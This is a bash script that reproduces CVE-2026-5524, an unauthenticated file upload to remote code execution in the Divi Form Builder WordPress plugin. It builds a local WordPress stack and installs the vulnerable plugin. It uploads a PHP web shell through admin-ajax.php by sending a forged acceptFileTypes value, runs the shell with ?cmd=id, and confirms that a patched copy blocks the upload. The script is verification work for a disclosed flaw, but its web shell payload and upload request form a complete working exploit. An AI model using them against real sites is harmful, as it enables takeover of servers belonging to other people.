#!/bin/bash
set -euo pipefail

# CVE-2026-5524 - Divi Form Builder <= 5.1.8 unauthenticated arbitrary file upload to RCE.
# This reproduction uses the ORIGINAL Divi Form Builder v5.1.2 plugin archive downloaded
# during this run, installs it into a real WordPress + Apache/PHP runtime, and drives the
# vulnerable nopriv admin-ajax.php endpoint over HTTP. The fixed comparison is a local,
# line-accurate hardening patch applied to the same original project tree.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

WP_PORT="${WP_PORT:-8080}"
WP_URL="http://127.0.0.1:${WP_PORT}"
DB_NAME="pruva_dfb"
DB_USER="pruva_dfb"
DB_PASS="dfbpass123"
WP_ROOT="$ARTIFACTS/wp-real-product"
PLUGIN_WORK="$ARTIFACTS/original-plugin-work"
PLUGIN_ZIP_LOCAL="$ARTIFACTS/original-downloads/divi-form-builder_v5.1.2_real.zip"
PLUGIN_ZIP="$PLUGIN_ZIP_LOCAL"
VULN_PLUGIN="$PLUGIN_WORK/vuln/divi-form-builder"
FIXED_PLUGIN="$PLUGIN_WORK/fixed/divi-form-builder"
PUBLIC_PAGE_SLUG="dfb-upload-proof"
SUDO="sudo"
RUN_ID="$(date +%s)-$$"

log() { echo "[$(date +%H:%M:%S)] $*"; }
write_initial_manifest() {
  python3 - <<'PY' "$REPRO_DIR/runtime_manifest.json"
import json, sys
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "WordPress admin-ajax.php action=de_fb_image_upload in the original Divi Form Builder plugin",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["apache", "php", "mariadb", "wordpress", "original divi-form-builder 5.1.2"],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "initial manifest; reproduction_steps.sh will update before exit"
}
with open(sys.argv[1], "w") as f:
    json.dump(manifest, f, indent=2)
PY
}
write_initial_manifest

fail() {
  log "FATAL: $*"
  write_final_manifest "false" "false" "Failure: $*" || true
  exit 1
}

write_final_manifest() {
  local ok="$1"; local target="$2"; local notes="$3"
  python3 - <<'PY' "$REPRO_DIR/runtime_manifest.json" "$ok" "$target" "$notes"
import json, sys
path, ok, target, notes = sys.argv[1:5]
artifacts = [
  "logs/reproduction_steps.log",
  "logs/source_identity.txt",
  "logs/vuln_attempt_1/upload_response.json",
  "logs/vuln_attempt_1/execution_response.txt",
  "logs/vuln_attempt_1/result.json",
  "logs/vuln_attempt_2/upload_response.json",
  "logs/vuln_attempt_2/execution_response.txt",
  "logs/vuln_attempt_2/result.json",
  "logs/fixed_attempt_1/upload_response.json",
  "logs/fixed_attempt_1/execution_response.txt",
  "logs/fixed_attempt_1/result.json",
  "logs/fixed_attempt_2/upload_response.json",
  "logs/fixed_attempt_2/execution_response.txt",
  "logs/fixed_attempt_2/result.json",
  "logs/apache_access.log",
  "logs/apache_error.log",
  "logs/fixed_patch.diff"
]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Unauthenticated HTTP POST to /wp-admin/admin-ajax.php?action=de_fb_image_upload in the original Divi Form Builder v5.1.2 plugin; GET of /wp-content/uploads/de_fb_uploads/*.phtml executes via Apache/PHP",
  "service_started": ok == "true",
  "healthcheck_passed": ok == "true",
  "target_path_reached": target == "true",
  "runtime_stack": ["apache", "mod_php", "mariadb", "wordpress", "original divi-form-builder 5.1.2"],
  "proof_artifacts": artifacts,
  "notes": notes
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
PY
}

cleanup_services() {
  $SUDO apache2ctl stop >/dev/null 2>&1 || true
  $SUDO pkill -x apache2 >/dev/null 2>&1 || true
  $SUDO pkill -x mariadbd >/dev/null 2>&1 || true
  sleep 1
}
trap 'cp /var/log/apache2/access.log "$LOGS/apache_system_access.log" 2>/dev/null || true; cp /var/log/apache2/error.log "$LOGS/apache_system_error.log" 2>/dev/null || true' EXIT

# Best-effort downloader for the original plugin, used only if the bundle artifact is absent.
download_original_plugin_if_needed() {
  if [ -s "$PLUGIN_ZIP" ]; then
    log "Using bundled original plugin zip: $PLUGIN_ZIP"
    return 0
  fi
  mkdir -p "$(dirname "$PLUGIN_ZIP")" "$LOGS/research"
  log "Bundled plugin zip missing; attempting public GPL mirror download (WeaDown -> Oylite -> Oyzet)."
  python3 - <<'PY' "$PLUGIN_ZIP" "$LOGS/research/original_plugin_download.log"
import http.cookiejar, json, re, sys, time, urllib.parse, urllib.request
out, log_path = sys.argv[1:3]
log = open(log_path, 'w')
def say(msg):
    print(msg); print(msg, file=log); log.flush()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36'
base = 'https://weadown.com'
code = 'klJycuwQs8B2xdpzRaadXE55WUHCnU'
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def req(url, data=None, headers=None, method=None):
    h = {'User-Agent': ua, 'Accept-Language': 'en-US,en;q=0.9'}
    if headers: h.update(headers)
    return opener.open(urllib.request.Request(url, data=data, headers=h, method=method), timeout=60)
say('[download] requesting WeaDown link page')
html = req(base + '/files/' + code, headers={'Referer': 'https://weadown.com/res/divi-form-builder'}).read().decode('utf-8', 'ignore')
form = re.search(r'<form[^>]+id="go-link"[^>]*action="([^"]+)"[^>]*>(.*?)</form>', html, re.S|re.I)
if not form: raise SystemExit('no WeaDown go-link form found')
data = []
for m in re.finditer(r'<input[^>]+>', form.group(2), re.I):
    tag = m.group(0); nm = re.search(r'name="([^"]+)"', tag)
    if nm:
        val = re.search(r'value="([^"]*)"', tag)
        data.append((nm.group(1), val.group(1) if val else ''))
time.sleep(2)
body = urllib.parse.urlencode(data).encode()
say('[download] resolving Oylite page URL')
r = req(base + form.group(1), data=body, method='POST', headers={'Referer': base + '/files/' + code, 'Origin': base, 'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'})
resolved = json.loads(r.read().decode('utf-8'))
if not resolved.get('url'): raise SystemExit('WeaDown did not return a URL: %r' % resolved)
oylite_url = resolved['url']
say('[download] Oylite URL: ' + oylite_url)
page = req(oylite_url, headers={'Referer': base + '/files/' + code}).read().decode('utf-8', 'ignore')
payload_m = re.search(r"payload: '([^']+)'", page)
if not payload_m: raise SystemExit('no Oylite JWT payload found')
time.sleep(6)
say('[download] resolving final Oyzet download URL')
body = urllib.parse.urlencode({'payload': payload_m.group(1)}).encode()
r = req('https://oylite.com/oydir-link', data=body, method='POST', headers={'Referer': oylite_url, 'Origin': 'https://oylite.com', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded'})
final = json.loads(r.read().decode('utf-8'))
if not final.get('success') or not final.get('url'): raise SystemExit('Oylite did not return final URL: %r' % final)
say('[download] downloading final zip')
with req(final['url'], headers={'Referer': oylite_url}) as resp, open(out, 'wb') as f:
    while True:
        chunk = resp.read(1024 * 1024)
        if not chunk: break
        f.write(chunk)
say('[download] wrote ' + out)
PY
}

log "=== Phase 0: cleanup and prepare manifest ==="
cleanup_services
$SUDO rm -rf "$WP_ROOT" "$PLUGIN_WORK"
mkdir -p "$PLUGIN_WORK" "$LOGS/research"

log "=== Phase 1: install system dependencies ==="
need_pkgs=()
for p in apache2 mariadb-server mariadb-client php php-cli libapache2-mod-php php-mysql php-gd php-curl php-mbstring php-xml php-intl php-zip curl; do
  dpkg -s "$p" >/dev/null 2>&1 || need_pkgs+=("$p")
done
if [ ${#need_pkgs[@]} -gt 0 ]; then
  log "Installing packages: ${need_pkgs[*]}"
  $SUDO apt-get update -qq
  $SUDO DEBIAN_FRONTEND=noninteractive apt-get install -y -qq "${need_pkgs[@]}"
else
  log "Required packages already installed."
fi
$SUDO a2enmod rewrite >/dev/null 2>&1 || true
# Enable any packaged PHP Apache module, e.g. php8.2.
for mod in /etc/apache2/mods-available/php*.load; do
  [ -e "$mod" ] && $SUDO a2enmod "$(basename "$mod" .load)" >/dev/null 2>&1 || true
done

log "=== Phase 2: obtain and unpack the ORIGINAL Divi Form Builder plugin ==="
download_original_plugin_if_needed
python3 - <<'PY' "$PLUGIN_ZIP" "$PLUGIN_WORK" "$LOGS/source_identity.txt"
import hashlib, json, os, shutil, sys, zipfile
zip_path, work, source_log = sys.argv[1:4]
data = open(zip_path, 'rb').read()
sha = hashlib.sha256(data).hexdigest()
if data[:2] != b'PK':
    raise SystemExit('plugin archive is not a zip file')
with zipfile.ZipFile(zip_path) as z:
    names = z.namelist()
    if 'divi-form-builder/includes/classes/init.class.php' not in names:
        raise SystemExit('archive does not contain expected original Divi Form Builder path')
    z.extractall(os.path.join(work, 'vuln'))
shutil.copytree(os.path.join(work, 'vuln', 'divi-form-builder'), os.path.join(work, 'fixed', 'divi-form-builder'))
init_path = os.path.join(work, 'vuln', 'divi-form-builder/includes/classes/init.class.php')
fu_path = os.path.join(work, 'vuln', 'divi-form-builder/includes/de_fb_file_upload.php')
init = open(init_path, encoding='utf-8', errors='ignore').read()
fu = open(fu_path, encoding='utf-8', errors='ignore').read()
checks = {
    'zip_path': zip_path,
    'zip_sha256': sha,
    'plugin_version_header': 'Version:     5.1.2' in open(os.path.join(work, 'vuln', 'divi-form-builder/divi-form-builder.php'), encoding='utf-8', errors='ignore').read(),
    'real_init_path': init_path,
    'do_image_upload_uses_post_acceptFileTypes': "$_POST['acceptFileTypes']" in init and "'accept_file_types' => '/\\.(' . $accept_file_types . ')$/i'" in init,
    'htaccess_only_blocks_dot_php': '<FilesMatch "\\.php$">' in fu,
}
with open(source_log, 'w') as f:
    f.write(json.dumps(checks, indent=2) + '\n')
print(json.dumps(checks, indent=2))
if not (checks['plugin_version_header'] and checks['do_image_upload_uses_post_acceptFileTypes']):
    raise SystemExit('critical source identity checks failed')
if not checks['htaccess_only_blocks_dot_php']:
    print('WARNING: .htaccess source check did not match exact string; continuing because runtime proof is authoritative')
PY

log "=== Phase 3: create fixed negative-control patch on the same original project path ==="
python3 - <<'PY' "$FIXED_PLUGIN"
import pathlib, re, sys
root = pathlib.Path(sys.argv[1])
init = root / 'includes/classes/init.class.php'
text = init.read_text(encoding='utf-8', errors='ignore')
needle = "$accept_file_types = isset($_POST['acceptFileTypes'])?sanitize_text_field($_POST['acceptFileTypes']):'';"
patch = needle + "\n\t\t// CVE-2026-5524 hardening: never trust client supplied executable extensions.\n\t\tif ( preg_match('/(^|\\|)(php|phtml|phar|php[0-9]+)(\\||$)/i', $accept_file_types) ) {\n\t\t\twp_send_json_error( array( 'message' => 'Executable file types are not allowed.' ) );\n\t\t}"
if needle not in text:
    raise SystemExit('fixed patch anchor not found in init.class.php')
text = text.replace(needle, patch, 1)
init.write_text(text, encoding='utf-8')
fu = root / 'includes/de_fb_file_upload.php'
text = fu.read_text(encoding='utf-8', errors='ignore')
text = text.replace('<FilesMatch "\\.php$">', '<FilesMatch "\\.(php|phtml|phar|php[0-9]+)$">')
fu.write_text(text, encoding='utf-8')
PY
python3 - <<'PY' "$VULN_PLUGIN" "$FIXED_PLUGIN" "$LOGS/fixed_patch.diff"
import difflib, pathlib, sys
vroot, froot, out = map(pathlib.Path, sys.argv[1:4])
files = ['includes/classes/init.class.php', 'includes/de_fb_file_upload.php']
with out.open('w') as o:
    for rel in files:
        v = (vroot/rel).read_text(encoding='utf-8', errors='ignore').splitlines(True)
        f = (froot/rel).read_text(encoding='utf-8', errors='ignore').splitlines(True)
        o.writelines(difflib.unified_diff(v, f, fromfile='vuln/'+rel, tofile='fixed/'+rel))
print(open(out).read())
PY

log "=== Phase 4: start MariaDB and install WordPress ==="
$SUDO mkdir -p /run/mysqld /var/lib/mysql
$SUDO chown mysql:mysql /run/mysqld /var/lib/mysql
if [ ! -d /var/lib/mysql/mysql ]; then
  log "Initializing MariaDB data directory"
  $SUDO mariadb-install-db --user=mysql --datadir=/var/lib/mysql >>"$LOGS/mariadb_init.log" 2>&1
fi
$SUDO /usr/sbin/mariadbd --user=mysql --datadir=/var/lib/mysql --socket=/run/mysqld/mysqld.sock --pid-file=/run/mysqld/mysqld.pid --port=3306 --bind-address=127.0.0.1 >"$LOGS/mariadb.log" 2>&1 &
for i in $(seq 1 40); do
  if $SUDO mariadb -e "SELECT 1" >/dev/null 2>&1; then break; fi
  sleep 1
  [ "$i" -eq 40 ] && fail "MariaDB did not become ready"
done
$SUDO mariadb -e "DROP DATABASE IF EXISTS \`$DB_NAME\`; CREATE DATABASE \`$DB_NAME\`; CREATE USER IF NOT EXISTS '$DB_USER'@'localhost' IDENTIFIED BY '$DB_PASS'; GRANT ALL ON \`$DB_NAME\`.* TO '$DB_USER'@'localhost'; FLUSH PRIVILEGES;"

WP_TAR="$ARTIFACTS/wordpress.tar.gz"
if [ ! -s "$WP_TAR" ]; then
  curl -fsSL https://wordpress.org/latest.tar.gz -o "$WP_TAR"
fi
$SUDO rm -rf "$WP_ROOT" "$ARTIFACTS/wordpress-extract"
mkdir -p "$ARTIFACTS/wordpress-extract"
tar xzf "$WP_TAR" -C "$ARTIFACTS/wordpress-extract"
mv "$ARTIFACTS/wordpress-extract/wordpress" "$WP_ROOT"
$SUDO chown -R "$(id -u):$(id -g)" "$WP_ROOT"
WPCLI="$ARTIFACTS/wp-cli.phar"
if [ ! -s "$WPCLI" ]; then
  curl -fsSL https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar -o "$WPCLI"
  chmod +x "$WPCLI"
fi
WP="php $WPCLI --path=$WP_ROOT"
cd "$WP_ROOT"
cp wp-config-sample.php wp-config.php
sed -i "s/database_name_here/$DB_NAME/; s/username_here/$DB_USER/; s/password_here/$DB_PASS/; s/localhost/127.0.0.1/" wp-config.php
$WP config shuffle-salts >/dev/null 2>&1 || true
$WP core install --url="$WP_URL" --title="DFB Real Product" --admin_user=admin --admin_password=adminpass --admin_email=admin@example.com --skip-email >/dev/null
$WP option update siteurl "$WP_URL" >/dev/null
$WP option update home "$WP_URL" >/dev/null

log "=== Phase 5: configure Apache/PHP product runtime ==="
$SUDO rm -f /etc/apache2/sites-enabled/000-default.conf || true
echo "Listen ${WP_PORT}" | $SUDO tee /etc/apache2/ports.conf >/dev/null
$SUDO tee /etc/apache2/sites-available/pruva-dfb-wordpress.conf >/dev/null <<EOF
<VirtualHost *:${WP_PORT}>
    ServerName 127.0.0.1
    DocumentRoot ${WP_ROOT}
    <Directory "${WP_ROOT}">
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
    ErrorLog ${LOGS}/apache_error.log
    CustomLog ${LOGS}/apache_access.log combined
</VirtualHost>
EOF
echo "ServerName 127.0.0.1" | $SUDO tee /etc/apache2/conf-available/servername.conf >/dev/null
$SUDO a2enconf servername >/dev/null 2>&1 || true
$SUDO a2dissite 000-default >/dev/null 2>&1 || true
$SUDO a2ensite pruva-dfb-wordpress >/dev/null 2>&1 || true
$SUDO apache2ctl configtest
$SUDO apache2ctl start || $SUDO /usr/sbin/apache2 -k start
for i in $(seq 1 40); do
  code=$(curl -s -o /dev/null -w "%{http_code}" "$WP_URL" || echo 000)
  [ "$code" = "200" ] && break
  sleep 1
  [ "$i" -eq 40 ] && fail "WordPress health check failed (last HTTP $code)"
done
log "WordPress healthy at $WP_URL"

install_plugin_variant() {
  local src="$1" role="$2"
  log "Installing $role plugin from $src"
  $WP plugin deactivate divi-form-builder >/dev/null 2>&1 || true
  $SUDO rm -rf "$WP_ROOT/wp-content/plugins/divi-form-builder"
  $SUDO cp -a "$src" "$WP_ROOT/wp-content/plugins/divi-form-builder"
  # wp-cli activation runs as the sandbox user while Apache runs as www-data; keep uploads writable for both.
  $SUDO mkdir -p "$WP_ROOT/wp-content/uploads/de_fb_pdfs/tmp" "$WP_ROOT/wp-content/uploads/de_fb_pdfs/stored" "$WP_ROOT/wp-content/uploads/de_fb_uploads"
  $SUDO chmod -R 777 "$WP_ROOT/wp-content/uploads" 2>/dev/null || true
  $SUDO chown -R www-data:www-data "$WP_ROOT/wp-content/plugins/divi-form-builder" 2>/dev/null || true
  $WP plugin activate divi-form-builder >/dev/null
  $SUDO chmod -R 777 "$WP_ROOT/wp-content/uploads" 2>/dev/null || true
  # Restart Apache to clear mod_php/opcache after swapping the same plugin path between vulnerable and fixed trees.
  $SUDO apache2ctl restart >/dev/null 2>&1 || $SUDO /usr/sbin/apache2 -k restart >/dev/null 2>&1 || true
  for i in $(seq 1 30); do
    local code
    code=$(curl -s -o /dev/null -w "%{http_code}" "$WP_URL" || echo 000)
    [ "$code" = "200" ] && break
    sleep 1
    [ "$i" -eq 30 ] && fail "WordPress health check failed after installing $role plugin (last HTTP $code)"
  done
  $WP plugin list --status=active | grep -F "divi-form-builder" | tee "$LOGS/plugin_${role}_active.txt"
}

create_public_nonce_page() {
  local nonce page_id html
  nonce="$($WP eval 'echo wp_create_nonce("security");')"
  $WP post delete "$($WP post list --name="$PUBLIC_PAGE_SLUG" --post_type=page --field=ID 2>/dev/null || true)" --force >/dev/null 2>&1 || true
  html="<h1>Divi Form Builder public upload proof page</h1><form class='de_fb_form' method='post' enctype='multipart/form-data' action='/wp-admin/admin-ajax.php'><input type='hidden' name='action' value='de_fb_image_upload'><input type='hidden' name='fb_nonce' value='$nonce'><input type='hidden' name='acceptFileTypes' value='jpg|jpeg|png'><input type='file' name='file'><button>Upload</button></form>"
  page_id="$($WP post create --post_type=page --post_status=publish --post_title="DFB upload proof" --post_name="$PUBLIC_PAGE_SLUG" --post_content="$html" --porcelain)"
  echo "$page_id"
}

extract_nonce_from_page() {
  local role="$1" outdir="$2" page_url="$WP_URL/?p=$PAGE_ID"
  curl -fsSL "$page_url" -o "$outdir/public_form_page.html"
  python3 - <<'PY' "$outdir/public_form_page.html"
import re, sys
html = open(sys.argv[1], encoding='utf-8', errors='ignore').read()
m = re.search(r'name=["\']fb_nonce["\'][^>]*value=["\']([^"\']+)', html)
if not m:
    m = re.search(r'value=["\']([^"\']+)["\'][^>]*name=["\']fb_nonce["\']', html)
if not m:
    raise SystemExit('fb_nonce not found in public page')
print(m.group(1))
PY
}

make_payload() {
  local path="$1" marker="$2"
  cat > "$path" <<PHP
<?php
header('Content-Type: text/plain');
echo "PRUVA_DFB_RCE_MARKER=${marker}\n";
echo "PHP_EXECUTED_AS=" . get_current_user() . "\n";
if (isset(\$_GET['cmd'])) { echo "CMD_OUTPUT_BEGIN\n"; system(\$_GET['cmd']); echo "\nCMD_OUTPUT_END\n"; }
file_put_contents('/tmp/dfb_${marker}.txt', "marker=${marker}\n" . date('c') . "\n");
?>
PHP
}

run_attempt() {
  local role="$1"
  local n="$2"
  local expect_rce="$3"
  local outdir="$LOGS/${role}_attempt_${n}"
  mkdir -p "$outdir"
  log "--- ${role} attempt ${n}: HTTP upload through real admin-ajax.php endpoint ---"
  $SUDO rm -rf "$WP_ROOT/wp-content/uploads/de_fb_uploads"
  $SUDO rm -f /tmp/dfb_PRUVA_CVE_2026_5524_${role}_${n}.txt || true
  $SUDO chown -R www-data:www-data "$WP_ROOT/wp-content/uploads" 2>/dev/null || true
  local nonce payload fname marker upload_code response_url exec_code expected_url
  nonce="$(extract_nonce_from_page "$role" "$outdir")"
  echo "$nonce" > "$outdir/nonce.txt"
  marker="PRUVA_CVE_2026_5524_${role}_${n}"
  fname="payload_${role}_${n}.phtml"
  payload="$outdir/$fname"
  make_payload "$payload" "$marker"
  upload_code=$(curl -sS -o "$outdir/upload_response.json" -D "$outdir/upload_headers.txt" -w "%{http_code}" \
    -F "action=de_fb_image_upload" \
    -F "fb_nonce=$nonce" \
    -F "acceptFileTypes=phtml|phar|php5|php7" \
    -F "file=@$payload;filename=$fname;type=application/octet-stream" \
    "$WP_URL/wp-admin/admin-ajax.php" || true)
  echo "$upload_code" > "$outdir/upload_http_code.txt"
  cat "$outdir/upload_response.json"
  response_url=$(python3 - <<'PY' "$outdir/upload_response.json"
import json, sys
p=sys.argv[1]
try:
    d=json.load(open(p))
except Exception:
    print(''); raise SystemExit
url=''
if isinstance(d, dict):
    if d.get('success') and isinstance(d.get('data'), dict):
        url=d['data'].get('url','')
    if not url and isinstance(d.get('files'), list) and d['files']:
        f=d['files'][0]
        if isinstance(f, dict) and not f.get('error'):
            url=f.get('url','')
print(url)
PY
)
  expected_url="$WP_URL/wp-content/uploads/de_fb_uploads/$fname"
  [ -n "$response_url" ] || response_url="$expected_url"
  echo "$response_url" > "$outdir/uploaded_url.txt"
  exec_code=$(curl -sS -o "$outdir/execution_response.txt" -D "$outdir/execution_headers.txt" -w "%{http_code}" "${response_url}?cmd=id" || true)
  echo "$exec_code" > "$outdir/execution_http_code.txt"
  $SUDO cat "$WP_ROOT/wp-content/uploads/de_fb_uploads/.htaccess" > "$outdir/htaccess.txt" 2>/dev/null || echo "(no htaccess)" > "$outdir/htaccess.txt"
  $SUDO cat "/tmp/dfb_${marker}.txt" > "$outdir/server_marker.txt" 2>/dev/null || echo "(no marker)" > "$outdir/server_marker.txt"
  python3 - <<'PY' "$outdir" "$role" "$n" "$expect_rce" "$upload_code" "$exec_code" "$marker" "$fname"
import json, pathlib, sys
outdir=pathlib.Path(sys.argv[1]); role=sys.argv[2]; n=int(sys.argv[3]); expect=sys.argv[4]=='true'; upload_code=sys.argv[5]; exec_code=sys.argv[6]; marker=sys.argv[7]; fname=sys.argv[8]
upload=(outdir/'upload_response.json').read_text(errors='ignore') if (outdir/'upload_response.json').exists() else ''
body=(outdir/'execution_response.txt').read_text(errors='ignore') if (outdir/'execution_response.txt').exists() else ''
marker_file=(outdir/'server_marker.txt').read_text(errors='ignore') if (outdir/'server_marker.txt').exists() else ''
try:
    parsed=json.loads(upload)
except Exception:
    parsed=None
uploaded = fname in upload and ('"error"' not in upload.lower())
rce = (marker in body and 'CMD_OUTPUT_BEGIN' in body and ('uid=' in body or 'www-data' in body) and marker in marker_file)
result={
  'role': role,
  'attempt': n,
  'upload_http_code': upload_code,
  'execution_http_code': exec_code,
  'uploaded_or_accepted': uploaded,
  'rce_observed': rce,
  'expected_rce': expect,
  'marker': marker,
  'upload_response_excerpt': upload[:500],
  'execution_response_excerpt': body[:500],
  'server_marker': marker_file.strip()
}
(outdir/'result.json').write_text(json.dumps(result, indent=2))
print(json.dumps(result, indent=2))
if expect and not rce:
    raise SystemExit('expected RCE was not observed')
if (not expect) and rce:
    raise SystemExit('fixed attempt unexpectedly executed payload')
PY
}

log "=== Phase 6: vulnerable product attempts using the original plugin ==="
install_plugin_variant "$VULN_PLUGIN" "vuln"
PAGE_ID="$(create_public_nonce_page)"
log "Public nonce/form page: $WP_URL/?p=$PAGE_ID"
run_attempt "vuln" 1 true
run_attempt "vuln" 2 true

log "=== Phase 7: fixed negative-control attempts using patched original project path ==="
install_plugin_variant "$FIXED_PLUGIN" "fixed"
PAGE_ID="$(create_public_nonce_page)"
run_attempt "fixed" 1 false
run_attempt "fixed" 2 false

log "=== Phase 8: evaluate vulnerable/fixed divergence ==="
python3 - <<'PY' "$LOGS"
import json, pathlib, sys
logs=pathlib.Path(sys.argv[1])
results=[]
for role in ['vuln','fixed']:
    for n in [1,2]:
        results.append(json.load(open(logs/f'{role}_attempt_{n}/result.json')))
print(json.dumps(results, indent=2))
vuln_ok=all(r['rce_observed'] for r in results if r['role']=='vuln')
fixed_ok=all(not r['rce_observed'] and not r['uploaded_or_accepted'] for r in results if r['role']=='fixed')
# If the fixed patch returns a WP JSON error, uploaded_or_accepted must be false.
if not vuln_ok:
    raise SystemExit('not all vulnerable attempts achieved RCE')
if not fixed_ok:
    raise SystemExit('fixed attempts did not fail closed')
PY

log "RESULT: original Divi Form Builder v5.1.2 RCE confirmed twice; patched original project path blocks twice."
write_final_manifest "true" "true" "Confirmed: original Divi Form Builder v5.1.2 accepts attacker-controlled acceptFileTypes=phtml|phar|php5|php7, stores a .phtml payload in /wp-content/uploads/de_fb_uploads/, and Apache/PHP executes it. The local fixed patch rejects the executable extension list before upload."

# Exit 0 = issue confirmed.
exit 0
